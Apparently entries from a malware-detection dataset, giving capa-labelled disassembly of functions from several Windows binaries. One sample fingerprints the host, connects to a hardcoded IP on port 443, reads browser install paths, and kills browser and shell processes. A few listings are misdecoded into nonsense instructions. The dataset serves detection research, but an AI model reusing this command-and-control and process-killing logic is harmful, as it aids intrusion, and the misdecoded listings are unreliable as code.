joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002d334
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1002d3d1
push ebx
push esi
call fcn.1002d2fd
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1002d291
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1002d37e
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1002d3d0
push edi
push eax
call fcn.1002bc32
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1002d39e
call fcn.1002bc80
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1002d3cf
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1002d291
add esp, 0x20
test eax, eax
jne 0x1002d3bd
push edi
call fcn.1002bc80
jmp 0x1002d3c5
push ebx
call fcn.1002bc80
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1002d63e
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10035760
push 0x10035758
push str.FlsAlloc
push 0x1f
call fcn.1002d55a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002d672
push dword [ebp + 8]
mov ecx, esi
call dword [0x10033150]
call esi
jmp 0x1002d678
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1002d6bc
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10035770
push 0x10035768
push str.FlsGetValue
push 0x21
call fcn.1002d55a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002d6f3
push dword [ebp + 8]
mov ecx, esi
call dword [0x10033150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1002d6fb
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10035778
push 0x10035770
push str.FlsSetValue
push 0x22
call fcn.1002d55a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002d735
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10033150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10032c40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10032c6d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10032c6d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x405d20
Capabilities:
Accept command line arguments

Disassembly:
jne 0x405cd4
inc dword [esi + 0xc]
mov edi, dword [ecx + 0x74388504]
push 0xffffffffffffff80
aas
cmp dh, byte [edi + ebx - 0x75]
dec esi
sbb al, 0x8b
inc esi
adc byte [eax - 0x75], dl
push edx
mov edi, 0x4891
push eax
mov eax, dword [esi + 8]
push str._s:_illegal_option_____c_n
push eax
call dword [esi - 0x5e]
add esp, 0x10
mov esp, dword [ecx]
adc byte [edx - 0x47a0efb2], cl
jl 0x405d1a
add dword [eax], eax
mov byte [edx], cl
pop esi
pop ebp
ret 0x10
nop
nop
nop
nop
sbb byte [ebx + 0x51ec8b55], bh
push esi
push edi
call fcn.00405f20
stc
ror byte [edi], 0x85
std
add byte [eax - 0x23c92ee1], bh
or byte [ecx], al
adc al, 0x7c
mov word [eax + 0x42], es
sbb byte [eax], al
jp 0x405ccf
add esi, dword [edx - 0x5d3f7a6d]
invalid

Function at 0x4070d0
Capabilities:
Resolve dns

Disassembly:
mov ecx, ebp
or byte [ecx + 0x56e9eb88], cl
call dword [sym.imp.WSOCK32.dll_gethostbyname]
fadd qword [edi + 0x36]
pop ss
jmp 0x4070ff
push ebp
mov ebp, esp
sub esp, 0x99a30254
mov ecx, dword [ebp + 0xc]
sal byte [ebx + 0x18b2ccd], cl
mov edx, dword [ecx + 0x6a]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x10]
jg 0x407076
or al, 0xd2
mov bl, 0xcd
sub al, 0x8b
add dword [ebx + 0x45896a51], ecx
hlt
jne 0x4070db
mov al, byte [eax]
mov dword [ebp - 4], esi
test al, al
mov dword [ebp - 0x20], esi
mov dword [ebx + 0x2175897c], ebx
mov dword [ebx - 0x1f], edx
inc eax
test byte [edx - 0x74fffff6], ch
pop ebp
adc al, 0x26
and eax, 0x45163c81
hlt
Function at 0x401020
Capabilities:
Get geographical location
Get hostname
Identify system language via api
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0x104
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x4263d0], eax
call fcn.004010d0
mov dword [0x425f48], eax
call fcn.00406140
push 9
push 0x425f4c
push 0x59
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea ecx, [ebp - 4]
push ecx
push 0x425f60
push 1
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
mov dword [ebp - 4], 0x104
lea edx, [ebp - 4]
push edx
push 0x426168
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
push 0x60
push 0x426370
call fcn.00403550
add esp, 8
lea eax, [ebp - 0x198]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push str.67.217.228.24
call fcn.00406f10
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10

Function at 0x401e90
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 8], 0
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], 0x10
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 8], eax
mov edx, 2
mov word [ebp - 0x2c], dx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 0
push 2
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_WSAStringToAddressW]
push 0x1bb
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x2a], ax
push 0x10
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov edx, dword [str.ksoei327fuajsp20]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0xc]
mov dl, byte [ecx]
mov byte [ebp - 1], dl
add dword [ebp - 0xc], 1
cmp byte [ebp - 1], 0
jne 0x401f1f
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [str.ksoei327fuajsp20]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.00406030
add esp, 0xc
push 0x10
lea ecx, [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00405f20
add esp, 0xc
mov eax, 8
imul ecx, eax, 0
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp dword [ebp + edx - 0x3c], 0x58
jne 0x401f82
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax - 0x38], 0
je 0x401f9c
push 2
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WS2_32.dll_shutdown]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x401f9f
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x4033e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
push edi
mov dword [ebp - 0x2c], str.SOFTWAREWOW6432NodeMicrosoftWindowsCurrentVersionUninstallGoogle_Chrome
mov dword [ebp - 0x30], str.SOFTWAREWOW6432NodeMicrosoftWindowsCurrentVersionUninstallMicrosoft_Edge
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x34], str.InstallLocation
mov dword [ebp - 0x20], 0
cmp dword [ebp + 8], 1
jne 0x403417
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
cmp dword [ebp + 8], 2
jne 0x403423
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], ecx
lea edx, [ebp - 0x20]
push edx
push 0x20019
push 0
mov eax, dword [ebp - 0x1c]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403546
lea ecx, [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 0
push 2
mov eax, dword [ebp - 0x34]
push eax
push 0
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov edx, dword [ebp + 8]
and edx, 1
je 0x4034d0
mov dword [ebp - 0xc], 0x425320
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0xc]
mov dx, word [ecx]
mov word [ebp - 2], dx
add dword [ebp - 0xc], 2
cmp word [ebp - 2], 0
jne 0x403476
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp + 0xc]
add edx, 0xfffffffe
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov cx, word [eax + 2]
mov word [ebp - 4], cx
add dword [ebp - 0x14], 2
cmp word [ebp - 4], 0
jne 0x4034a3
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x38]
mov edx, dword [ebp - 0x3c]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 8]
and eax, 2
je 0x40353f
mov dword [ebp - 0x10], 0x425338
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x10]
mov ax, word [edx]
mov word [ebp - 6], ax
add dword [ebp - 0x10], 2
cmp word [ebp - 6], 0
jne 0x4034e5
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp + 0xc]
add eax, 0xfffffffe
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov dx, word [ecx + 2]
mov word [ebp - 8], dx
add dword [ebp - 0x18], 2
cmp word [ebp - 8], 0
jne 0x403512
mov edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, 1
jmp 0x403548
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403550
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 2
lea ecx, [ebp - 4]
push ecx
push 0x20019
push 0
push str.SoftwareSoftina
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4035bb
lea edx, [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
push 0
push 2
mov ecx, dword [0x425394]
push ecx
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
xor eax, eax
jmp 0x403628
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareSoftina
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x1c]
push eax
movzx ecx, word [ebp - 0x1a]
push ecx
movzx edx, word [ebp - 0x16]
push edx
push str._02d._02d._02d
mov eax, dword [ebp + 8]
push eax
call fcn.00403660
add esp, 0x14
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 1
push 0
mov eax, dword [0x425394]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x405dd0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
mov ecx, 8
imul edx, ecx, 0
xor eax, eax
mov dword [ebp + edx - 0x14], 0xf6
mov dword [ebp + edx - 0x10], eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401e90
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x405e31
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call sub.WS2_32.dll_send
mov ecx, dword [ebp - 4]
push ecx
call sub.WS2_32.dll_closesocket
nop
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x405f20
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], 0xa
mov dword [ebp - 0x11c], 0
mov dword [ebp - 4], 0
jmp 0x405f68
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x11c]
jae 0x405f86
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + ecx*4 - 0x118]
cmp edx, dword [ebp + 8]
jne 0x405f84
jmp 0x405f86
jmp 0x405f5f
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x11c]
jne 0x405fb6
cmp dword [ebp - 0x11c], 0x40
jae 0x405fb6
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov dword [ebp + ecx*4 - 0x118], edx
mov eax, dword [ebp - 0x11c]
add eax, 1
mov dword [ebp - 0x11c], eax
xor ecx, ecx
jne 0x405f56
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp + 0x10]
jge 0x40601e
lea eax, [ebp - 0x18]
push eax
push 0
push 0
lea ecx, [ebp - 0x11c]
push ecx
push 0
call dword [sym.imp.WS2_32.dll_select]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jg 0x405fe6
xor eax, eax
jmp 0x406021
push 0
mov edx, dword [ebp + 0x10]
sub edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jg 0x40600a
xor eax, eax
jmp 0x406021
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 8]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
jmp 0x405fba
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x406030
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x10]
jge 0x40608a
push 0
mov edx, dword [ebp + 0x10]
sub edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jg 0x406076
xor eax, eax
jmp 0x40608d
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
jmp 0x40604a
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x4072e0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x407310
xor eax, eax
jmp 0x407428
mov dword [ebp - 0x24c], 0x22c
lea eax, [ebp - 0x24c]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call sub.KERNEL32.dll_Process32FirstW
mov edx, dword [ebp + 8]
and edx, 1
je 0x407339
mov dword [ebp - 4], str.chrome.exe
mov eax, dword [ebp + 8]
and eax, 2
je 0x407348
mov dword [ebp - 4], str.msedge.exe
mov ecx, dword [ebp + 8]
and ecx, 4
je 0x407357
mov dword [ebp - 4], str.cmd.exe
mov edx, dword [ebp + 8]
and edx, 8
je 0x407366
mov dword [ebp - 4], str.powershell.exe
cmp dword [ebp - 4], 0
jne 0x407371
jmp 0x40741c
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 0x228]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov ax, word [edx]
mov word [ebp - 0x12], ax
mov ecx, dword [ebp - 0xc]
cmp ax, word [ecx]
jne 0x4073c5
cmp word [ebp - 0x12], 0
je 0x4073bc
mov edx, dword [ebp - 8]
mov ax, word [edx + 2]
mov word [ebp - 0x14], ax
mov ecx, dword [ebp - 0xc]
cmp ax, word [ecx + 2]
jne 0x4073c5
add dword [ebp - 8], 4
add dword [ebp - 0xc], 4
cmp word [ebp - 0x14], 0
jne 0x407380
mov dword [ebp - 0x1c], 0
jmp 0x4073cd
sbb edx, edx
or edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x407404
mov ecx, dword [ebp - 0x244]
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x18], eax
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea ecx, [ebp - 0x24c]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x407371
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x407e4f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x407e8e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x407e8e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x407e8e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x407e8e
cmp dword [ecx + 0x74], 0xe
jbe 0x407e8e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x41472b
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4147c8
push ebx
push esi
call fcn.004146f4
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00414688
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x414775
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4147c7
push edi
push eax
call fcn.0041155c
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x414795
call fcn.00411522
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4147c6
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00414688
add esp, 0x20
test eax, eax
jne 0x4147b4
push edi
call fcn.00411522
jmp 0x4147bc
push ebx
call fcn.00411522
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4149c8
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41f408
push 0x41f400
push str.FlsAlloc
push 0x1f
call fcn.004148e4
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4149fc
push dword [ebp + 8]
mov ecx, esi
call dword [0x41d278]
call esi
jmp 0x414a02
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x414a46
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41f418
push 0x41f410
push str.FlsGetValue
push 0x21
call fcn.004148e4
mov esi, eax
add esp, 0x10
test esi, esi
je 0x414a7d
push dword [ebp + 8]
mov ecx, esi
call dword [0x41d278]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x414a85
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41f420
push 0x41f418
push str.FlsSetValue
push 0x22
call fcn.004148e4
mov esi, eax
add esp, 0x10
test esi, esi
je 0x414abf
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41d278]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x41ba40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41ba6d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41ba6d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10530
Capabilities:
Complete processing asynchronous io request

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
mov dl, byte [ebp + 0x14]
push esi
mov esi, dword [ebp + 0xc]
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x1c], eax
call dword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
mov eax, esi
pop esi
pop ebp
ret 0x10
Function at 0x177e2
Capabilities:
Create device object

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov ebx, ecx
mov dword [ebx + 8], eax
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea edi, [ebx + 4]
push edi
push dword [ebp + 0x18]
neg esi
push dword [ebp + 0x14]
sbb esi, esi
push dword [ebp + 0x10]
lea eax, [ebp - 8]
and esi, eax
push esi
push 0xc
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_IoCreateDevice]
test eax, eax
jne 0x1784d
mov ecx, dword [edi]
mov edi, dword [ecx + 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebx + 4]
mov eax, dword [eax + 0x28]
or dword [eax + 4], 0xffffffff
mov dword [eax], 0x5465616e
add eax, 8
push eax
mov ecx, ebx
call fcn.000177c6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x14

Function at 0x1cda6
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10]
mov eax, dword [edi]
add eax, 0x10
push 0x524547
push eax
push 1
mov ebx, ecx
mov dword [ebp - 4], 0xc000009a
mov dword [ebp + 0x10], eax
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov esi, eax
test esi, esi
je 0x1ce56
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push esi
push 2
push dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
mov dword [ebp - 4], eax
test eax, eax
jl 0x1ce32
mov eax, dword [esi + 8]
mov ebx, dword [ebp + 0x14]
cmp eax, dword [edi]
ja 0x1ce24
mov ecx, dword [ebx]
test ecx, ecx
je 0x1ce08
cmp ecx, dword [esi + 4]
jne 0x1ce24
push eax
lea eax, [esi + 0xc]
push eax
push dword [ebp + 0xc]
call sub.ntoskrnl.exe_memcpy
mov eax, dword [esi + 8]
mov dword [edi], eax
mov eax, dword [esi + 4]
add esp, 0xc
mov dword [ebx], eax
jmp 0x1ce4d
mov eax, dword [esi + 4]
mov dword [ebx], eax
mov dword [ebp - 4], 0xc0000023
jmp 0x1ce48
cmp eax, 0x80000005
je 0x1ce40
cmp eax, 0xc0000023
jne 0x1ce4d
mov eax, dword [esi + 4]
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
mov eax, dword [esi + 8]
mov dword [edi], eax
push 0
push esi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x1ce9e
Capabilities:
Query or enumerate registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_ZwQueryKey]
push edi
lea eax, [ebp - 4]
push eax
xor ebx, ebx
push ebx
push ebx
mov edi, ecx
push 2
push dword [edi]
call esi
cmp eax, 0xc0000023
je 0x1cec8
xor eax, eax
jmp 0x1ceee
push 0x524547
push dword [ebp - 4]
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov ebx, eax
test ebx, ebx
je 0x1cec4
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
push 2
push dword [edi]
call esi
mov eax, dword [ebx + 0x14]
pop edi
pop esi
pop ebx
leave
ret